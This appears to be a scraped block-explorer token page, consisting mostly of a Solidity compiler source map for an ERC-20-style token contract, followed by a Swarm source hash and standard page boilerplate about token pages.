:::i;:::-;;:::i;20436:49::-;;;;;;;;;;-1:-1:-1;20436:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;22559:83;22596:13;22629:5;22622:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22559:83;:::o;23394:161::-;23469:4;23486:39;7921:10;23509:7;23518:6;23486:8;:39::i;:::-;-1:-1:-1;23543:4:0;23394:161;;;;;:::o;23563:313::-;23661:4;23678:36;23688:6;23696:9;23707:6;23678:9;:36::i;:::-;23725:121;23734:6;7921:10;23756:89;23794:6;23756:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;23756:19:0;;;;;;:11;:19;;;;;;;;7921:10;23756:33;;;;;;;;;;:37;:89::i;:::-;23725:8;:121::i;:::-;-1:-1:-1;23864:4:0;23563:313;;;;;:::o;23884:218::-;7921:10;23972:4;24021:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;24021:34:0;;;;;;;;;;23972:4;;23989:83;;24012:7;;24021:50;;24060:10;24021:38;:50::i;11915:148::-;11738:7;11765:6;-1:-1:-1;;;;;11765:6:0;7921:10;11827:23;11819:68;;;;-1:-1:-1;;;11819:68:0;;4519:2:1;11819:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;11819:68:0;;;;;;;;;12022:1:::1;12006:6:::0;;11985:40:::1;::::0;-1:-1:-1;;;;;12006:6:0;;::::1;::::0;11985:40:::1;::::0;12022:1;;11985:40:::1;12053:1;12036:19:::0;;-1:-1:-1;;;;;;12036:19:0::1;::::0;;11915:148::o;22650:87::-;22689:13;22722:7;22715:14;;;;;:::i;24110:269::-;24203:4;24220:129;7921:10;24243:7;24252:96;24291:15;24252:96;;;;;;;;;;;;;;;;;7921:10;24252:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;24252:34:0;;;;;;;;;;;;:38;:96::i;23068:167::-;23146:4;23163:42;7921:10;23187:9;23198:6;23163:9;:42::i;20682:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;28932:274::-;29009:7;29018;29038:17;29058:37;29076:6;29084:1;29087:7;29058:17;:37::i;:::-;29038:57;-1:-1:-1;29106:22:0;29131;:7;29038:57;29131:11;:22::i;:::-;29106:47;29188:9;;-1:-1:-1;28932:274:0;;-1:-1:-1;;;;28932:274:0:o;20645:30::-;;;;;;;:::i;12071:244::-;11738:7;11765:6;-1:-1:-1;;;;;11765:6:0;7921:10;11827:23;11819:68;;;;-1:-1:-1;;;11819:68:0;;4519:2:1;11819:68:0;;;4501:21:1;;;4538:18;;;4531:30;4597:34;4577:18;;;4570:62;4649:18;;11819:68:0;4317:356:1;11819:68:0;-1:-1:-1;;;;;12160:22:0;::::1;12152:73;;;::::0;-1:-1:-1;;;12152:73:0;;4880:2:1;12152:73:0::1;::::0;::::1;4862:21:1::0;4919:2;4899:18;;;4892:30;4958:34;4938:18;;;4931:62;-1:-1:-1;;;5009:18:1;;;5002:36;5055:19;;12152:73:0::1;4678:402:1::0;12152:73:0::1;12262:6;::::0;;12241:38:::1;::::0;-1:-1:-1;;;;;12241:38:0;;::::1;::::0;12262:6;::::1;::::0;12241:38:::1;::::0;::::1;12290:6;:17:::0;;-1:-1:-1;;;;;;12290:17:0::1;-1:-1:-1::0;;;;;12290:17:0;;;::::1;::::0;;;::::1;::::0;;12071:244::o;25515:262::-;-1:-1:-1;;;;;25608:19:0;;;;;;:44;;-1:-1:-1;;;;;;25631:21:0;;;;25608:44;25600:74;;;;-1:-1:-1;;;25600:74:0;;5287:2:1;25600:74:0;;;5269:21:1;5326:2;5306:18;;;5299:30;-1:-1:-1;;;5345:18:1;;;5338:47;5402:18;;25600:74:0;5085:341:1;25600:74:0;-1:-1:-1;;;;;25685:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;25737:32;;1596:25:1;;;25737:32:0;;1569:18:1;25737:32:0;;;;;;;25515:262;;;:::o;25785:1389::-;11738:7;11765:6;-1:-1:-1;;;;;25905:13:0;;;11765:6;;25905:13;;;;:33;;-1:-1:-1;25928:10:0;;-1:-1:-1;;;;;25922:16:0;;;25928:10;;25922:16;;25905:33;:56;;;;-1:-1:-1;;;;;;25942:19:0;;25956:4;25942:19;;25905:56;:79;;;;-1:-1:-1;25971:13:0;;-1:-1:-1;;;;;25965:19:0;;;25971:13;;25965:19;;25905:79;:97;;;;-1:-1:-1;;;;;;25989:13:0;;;;;;:9;:13;;;;;;;;25988:14;25905:97;:116;;;;-1:-1:-1;11738:7:0;11765:6;-1:-1:-1;;;;;26006:15:0;;;11765:6;;26006:15;;25905:116;25901:286;;;-1:-1:-1;;;;;23032:20:0;;26037:24;23032:20;;;:11;:20;;;;;;26131:15;;26101:25;26120:6;23032:20;26101:25;:::i;:::-;26100:46;;26092:83;;;;-1:-1:-1;;;26092:83:0;;5895:2:1;26092:83:0;;;5877:21:1;5934:2;5914:18;;;5907:30;5973:26;5953:18;;;5946:54;6017:18;;26092:83:0;5693:348:1;26092:83:0;26022:165;25901:286;11738:7;11765:6;-1:-1:-1;;;;;26211:15:0;;;11765:6;;26211:15;;;;:32;;-1:-1:-1;11738:7:0;11765:6;-1:-1:-1;;;;;26230:13:0;;;11765:6;;26230:13;;26211:32;:71;;;;-1:-1:-1;;;;;;26249:15:0;;;;;;:9;:15;;;;;;;;;:32;;-1:-1:-1;;;;;;26268:13:0;;;;;;:9;:13;;;;;;;;26249:32;26247:35;26211:71;26207:166;;;26316:12;;26306:6;:22;;26298:63;;;;-1:-1:-1;;;26298:63:0;;6248:2:1;26298:63:0;;;6230:21:1;6287:2;6267:18;;;6260:30;6326;6306:18;;;6299:58;6374:18;;26298:63:0;6046:352:1;26298:63:0;26399:17;;26386:31;;26395:2;;-1:-1:-1;;;26399:17:0;;;;26386:8;:31::i;:::-;26383:62;;;26420:17;:22;;-1:-1:-1;;;;26420:22:0;-1:-1:-1;;;26420:22:0;;;26383:62;26469:11;;;;;;;;26458:7;;:22;;;;:43;;-1:-1:-1;26485:16:0;;-1:-1:-1;;;26485:16:0;;;;26484:17;26458:43;:68;;;;-1:-1:-1;26513:13:0;;-1:-1:-1;;;;;26505:21:0;;;26513:13;;26505:21;;26458:68;:93;;;;-1:-1:-1;26530:21:0;;-1:-1:-1;;;26530:21:0;;;;26458:93;26455:409;;;26570:7;:11;;-1:-1:-1;;26570:11:0;;;26645:4;-1:-1:-1;23032:20:0;;;-1:-1:-1;23032:20:0;;;;;;26692:12;;26669:35;;26666:78;;;-1:-1:-1;26730:12:0;;26666:78;26761:24;;26758:95;;26801:36;26816:20;26801:14;:36::i;:::-;26553:311;26455:409;-1:-1:-1;;;;;26928:17:0;;26884:12;26928:17;;;:11;:17;;;;;;26899:4;;26928:17;;;:36;;-1:-1:-1;;;;;;26949:15:0;;;;;;:11;:15;;;;;;;;26928:36;26925:187;;;-1:-1:-1;26990:5:0;26925:187;;;27025:13;;-1:-1:-1;;;;;27025:13:0;;;27017:21;;;;27013:99;;27051:7;;27040:8;:18;27013:99;;;27076:13;;-1:-1:-1;;;;;27076:13:0;;;27070:19;;;;27066:46;;27102:8;;27091;:19;27066:46;27132:34;27143:4;27148:2;27151:6;27158:7;27132:10;:34::i;:::-;25888:1286;25785:1389;;;:::o;7372:206::-;7458:7;7519:12;7511:6;;;;7503:29;;;;-1:-1:-1;;;7503:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;7554:5:0;;;7372:206::o;6944:98::-;7002:7;7029:5;7033:1;7029;:5;:::i;:::-;7022:12;6944:98;-1:-1:-1;;;6944:98:0:o;25116:391::-;25265:17;;25211:7;;;;-1:-1:-1;;;25265:17:0;;;;25264:18;;:42;;-1:-1:-1;;;;;;25286:20:0;;;;;;:9;:20;;;;;;;;25264:42;:73;;;-1:-1:-1;;;;;;25310:27:0;;;;;;:16;:27;;;;;;;;25264:73;25261:203;;;25364:29;25389:3;25364:20;25375:8;;25364:6;:10;;:20;;;;:::i;:::-;:24;;:29::i;:::-;25353:40;;25261:203;;;25443:8;;;;;;;;;25444:3;25443:8;;;;25433:9;;;;;;;;25434:4;25433:9;;;;25421:41;;25458:3;;25421:32;;25433:18;;25444:3;25433:18;:::i;:::-;25421:6;;:32;;:10;:32::i;:41::-;25410:52;;25261:203;25481:18;:8;:18;;;:12;:18::i;:::-;25474:25;25116:391;-1:-1:-1;;;;;25116:391:0:o;7050:98::-;7108:7;7135:5;7139:1;7135;:5;:::i;24822:117::-;-1:-1:-1;;;;;24908:13:0;;24885:4;24908:13;;;:9;:13;;;;;;;;:23;;;;-1:-1:-1;;24925:6:0;;24822:117;-1:-1:-1;24822:117:0:o;27302:232::-;21840:16;:23;;-1:-1:-1;;;;21840:23:0;-1:-1:-1;;;21840:23:0;;;27387:38:::1;27404:20:::0;27387:16:::1;:38::i;:::-;27503:10;::::0;27458:21:::1;::::0;27490:36:::1;::::0;-1:-1:-1;;;;;27503:10:0::1;27458:21:::0;27490:12:::1;:36::i;:::-;-1:-1:-1::0;;21886:16:0;:24;;-1:-1:-1;;;;21886:24:0;;;27302:232::o;28022:334::-;28132:7;28128:107;;28155:14;:12;:14::i;:::-;28128:107;;;28210:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;28128:107;28249:37;28260:6;28268:9;28279:6;28249:10;:37::i;:::-;28311:7;28307:41;;28333:15;25006:17;;24995:8;:28;25044:15;;25034:7;:25;25082:16;;25071:8;:27;24951:156;7156:98;7214:7;7241:5;7245:1;7241;:5;:::i;7266:98::-;7324:7;7351:5;7355:1;7351;:5;:::i;27542:472::-;27632:16;;;27646:1;27632:16;;;;;;;;27608:21;;27632:16;;;;;;;;;;-1:-1:-1;27632:16:0;27608:40;;27677:4;27659;27664:1;27659:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27659:23:0;;;:7;;;;;;;;;;:23;;;;27703:15;;:22;;;-1:-1:-1;;;27703:22:0;;;;:15;;;;;:20;;:22;;;;;27659:7;;27703:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27693:4;27698:1;27693:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27693:32:0;;;:7;;;;;;;;;:32;27768:15;;27736:62;;27753:4;;27768:15;27786:11;27736:8;:62::i;:::-;27809:15;;:197;;-1:-1:-1;;;27809:197:0;;-1:-1:-1;;;;;27809:15:0;;;;:66;;:197;;27890:11;;27809:15;;27933:4;;27960;;27980:15;;27809:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27597:417;27542:472;:::o;27182:112::-;27263:23;;-1:-1:-1;;;;;27263:15:0;;;:23;;;;;27279:6;;27263:23;;;;27279:6;27263:15;:23;;;;;;;;;;;;;;;;;;;;;27182:112;;:::o;24425:293::-;24471:8;;:13;:29;;;;-1:-1:-1;24488:7:0;;:12;24471:29;:46;;;;-1:-1:-1;24504:8:0;;:13;24471:46;24468:58;;;24425:293::o;24468:58::-;24554:7;;;24536:15;:25;24592:8;;;24573:16;:27;24632:8;;;24612:17;:28;-1:-1:-1;24651:11:0;;;;24673:12;;;;24696;24425:293::o;28366:558::-;28458:22;28482:17;28503:27;28514:7;28523:6;28503:10;:27::i;:::-;-1:-1:-1;;;;;28563:19:0;;;;;;:11;:19;;;;;;28457:73;;-1:-1:-1;28457:73:0;-1:-1:-1;28563:32:0;;28587:7;28563:23;:32::i;:::-;-1:-1:-1;;;;;28541:19:0;;;;;;;:11;:19;;;;;;:54;;;;28631:22;;;;;;;:42;;28658:14;28631:26;:42::i;:::-;-1:-1:-1;;;;;28606:22:0;;;;;;:11;:22;;;;;;:67;;;;28733:4;28713:26;;;;:41;;28744:9;28713:30;:41::i;:::-;28704:4;28684:26;;;;:11;:26;;;;;;;;:70;;;;-1:-1:-1;;;;;28768:20:0;;;;:9;:20;;;;;;28765:93;;;28816:40;24793:13;-1:-1:-1;;;;;28816:22:0;;;;;;:11;:22;;;;;;;:26;:40::i;:::-;-1:-1:-1;;;;;28791:22:0;;;;;;:11;:22;;;;;:65;28765:93;28890:9;-1:-1:-1;;;;;28873:43:0;28882:6;-1:-1:-1;;;;;28873:43:0;;28901:14;28873:43;;;;1596:25:1;;1584:2;1569:18;;1450:177;28873:43:0;;;;;;;;28446:478;;28366:558;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2714:247::-;2773:6;2826:2;2814:9;2805:7;2801:23;2797:32;2794:52;;;2842:1;2839;2832:12;2794:52;2881:9;2868:23;2900:31;2925:5;2900:31;:::i;2966:315::-;3034:6;3042;3095:2;3083:9;3074:7;3070:23;3066:32;3063:52;;;3111:1;3108;3101:12;3063:52;3147:9;3134:23;3124:33;;3207:2;3196:9;3192:18;3179:32;3220:31;3245:5;3220:31;:::i;:::-;3270:5;3260:15;;;2966:315;;;;;:::o;3539:388::-;3607:6;3615;3668:2;3656:9;3647:7;3643:23;3639:32;3636:52;;;3684:1;3681;3674:12;3636:52;3723:9;3710:23;3742:31;3767:5;3742:31;:::i;:::-;3792:5;-1:-1:-1;3849:2:1;3834:18;;3821:32;3862:33;3821:32;3862:33;:::i;3932:380::-;4011:1;4007:12;;;;4054;;;4075:61;;4129:4;4121:6;4117:17;4107:27;;4075:61;4182:2;4174:6;4171:14;4151:18;4148:38;4145:161;;4228:10;4223:3;4219:20;4216:1;4209:31;4263:4;4260:1;4253:15;4291:4;4288:1;4281:15;4145:161;;3932:380;;;:::o;5431:127::-;5492:10;5487:3;5483:20;5480:1;5473:31;5523:4;5520:1;5513:15;5547:4;5544:1;5537:15;5563:125;5628:9;;;5649:10;;;5646:36;;;5662:18;;:::i;6403:127::-;6464:10;6459:3;6455:20;6452:1;6445:31;6495:4;6492:1;6485:15;6519:4;6516:1;6509:15;6535:148;6623:4;6602:12;;;6616;;;6598:31;;6641:13;;6638:39;;;6657:18;;:::i;6688:128::-;6755:9;;;6776:11;;;6773:37;;;6790:18;;:::i;6821:175::-;6858:3;6902:4;6895:5;6891:16;6931:4;6922:7;6919:17;6916:43;;6939:18;;:::i;:::-;6988:1;6975:15;;6821:175;-1:-1:-1;;6821:175:1:o;7001:168::-;7074:9;;;7105;;7122:15;;;7116:22;;7102:37;7092:71;;7143:18;;:::i;7174:217::-;7214:1;7240;7230:132;;7284:10;7279:3;7275:20;7272:1;7265:31;7319:4;7316:1;7309:15;7347:4;7344:1;7337:15;7230:132;-1:-1:-1;7376:9:1;;7174:217::o;7528:251::-;7598:6;7651:2;7639:9;7630:7;7626:23;7622:32;7619:52;;;7667:1;7664;7657:12;7619:52;7699:9;7693:16;7718:31;7743:5;7718:31;:::i;7784:980::-;8046:4;8094:3;8083:9;8079:19;8125:6;8114:9;8107:25;8151:2;8189:6;8184:2;8173:9;8169:18;8162:34;8232:3;8227:2;8216:9;8212:18;8205:31;8256:6;8291;8285:13;8322:6;8314;8307:22;8360:3;8349:9;8345:19;8338:26;;8399:2;8391:6;8387:15;8373:29;;8420:1;8430:195;8444:6;8441:1;8438:13;8430:195;;;8509:13;;-1:-1:-1;;;;;8505:39:1;8493:52;;8600:15;;;;8565:12;;;;8541:1;8459:9;8430:195;;;-1:-1:-1;;;;;;;8681:32:1;;;;8676:2;8661:18;;8654:60;-1:-1:-1;;;8745:3:1;8730:19;8723:35;8642:3;7784:980;-1:-1:-1;;;7784:980:1:o

Swarm Source

ipfs://8e2955d2e4a52e4d02431526de6ad2449ae71c236a3311ab93398cdc01a8327b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.